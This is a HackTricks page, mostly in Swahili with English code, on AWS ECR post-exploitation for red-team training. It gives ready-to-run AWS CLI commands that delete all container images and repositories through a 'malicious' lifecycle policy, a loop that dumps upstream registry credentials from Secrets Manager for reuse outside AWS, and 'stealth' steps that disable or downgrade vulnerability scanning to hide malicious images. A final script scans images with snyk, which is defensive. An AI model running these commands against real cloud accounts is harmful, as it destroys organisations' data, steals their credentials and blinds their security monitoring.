AWS - ECR Post Exploitation

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECR

Kwa habari zaidi angalia

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

Baada ya kupakua images unapaswa kuzikagua kwa taarifa nyeti:

Docker Forensics - HackTricks

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

Mshambuliaji mwenye idhini yoyote ya hizi anaweza kuunda au kubadilisha lifecycle policy ili kufuta images zote katika repository na kisha kufuta repository nzima ya ECR. Hii itasababisha kupoteza images zote za container zilizohifadhiwa katika repository.

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Kutoa nje kwa siri kwa sifa za kuingia za upstream registry kutoka ECR Pull‑Through Cache (PTC)

Ikiwa ECR Pull‑Through Cache imewekwa kwa registries za upstream zilizothibitishwa (Docker Hub, GHCR, ACR, n.k.), sifa za kuingia za upstream zinahifadhiwa katika AWS Secrets Manager zikiwa na awali ya jina inayoweza kutabirika: ecr-pullthroughcache/. Wataalamu wa uendeshaji wakati mwingine huwapa wasimamizi wa ECR ruhusa kubwa za kusoma Secrets Manager, ikiruhusu kutoa nje kwa siri kwa sifa za kuingia na matumizi tena nje ya AWS.

Requirements

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Orodhesha siri za PTC zinazowezekana

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

Dump secrets zilizogunduliwa na kuchambua viwanja vya kawaida

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

Hiari: thibitisha leaked creds dhidi ya upstream (read‑only login)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Impact

  • Kusoma hizi entry za Secrets Manager kunatoa reusable upstream registry credentials (username/password au token), ambazo zinaweza kutumiwa vibaya nje ya AWS kuvuta private images au kufikia repositories za ziada kulingana na ruhusa za upstream.

Ukimya wa ngazi ya registry: zima au punguza skanning kwa kutumia ecr:PutRegistryScanningConfiguration

Mshambuliaji mwenye ruhusa za ngazi ya registry za ECR anaweza kimya kupunguza au kuzima skanning ya udhaifu ya moja kwa moja kwa repositories ZOTE kwa kuweka registry scanning configuration kuwa BASIC bila sheria za scan-on-push. Hii inazuia image mpya zinazopushiwa kutazamwa kiotomatiki, ikificha images zilizo hatarishi au zenye nia mbaya.

Requirements

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (hiari, kwa kila repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (uthibitisho)

Registry-wide downgrade to manual (no auto scans)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

Jaribu na repo na image

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

Hiari: kupunguza zaidi katika wigo wa repo

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

Athari

  • Pushes mpya za image kwenye registry haziscanned kwa otomatiki, kupunguza uonekano wa maudhui yaliyo hatarini au ya malicious na kuchelewesha detection hadi manual scan itakapowashwa.

Kupungua kwa scanning engine ya registry nzima kupitia ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

Punguza ubora wa vulnerability detection katika registry nzima kwa kubadilisha BASIC scan engine kutoka default AWS_NATIVE hadi legacy CLAIR engine. Hii haiizimi scanning lakini inaweza kubadilisha kwa kiasi findings/coverage. Unganisha na BASIC registry scanning configuration bila rules ili kufanya scans kuwa manual-only.

Mahitaji

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Optional) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

Athari

  • Registry setting BASIC_SCAN_TYPE_VERSION imewekwa kuwa CLAIR hivyo BASIC scans zifuatazo zitaendeshwa na engine iliyodhorofishwa. CloudTrail inarekodi API call ya PutAccountSetting.

Hatua

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

Piga skani ECR images kwa ajili ya udhaifu

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks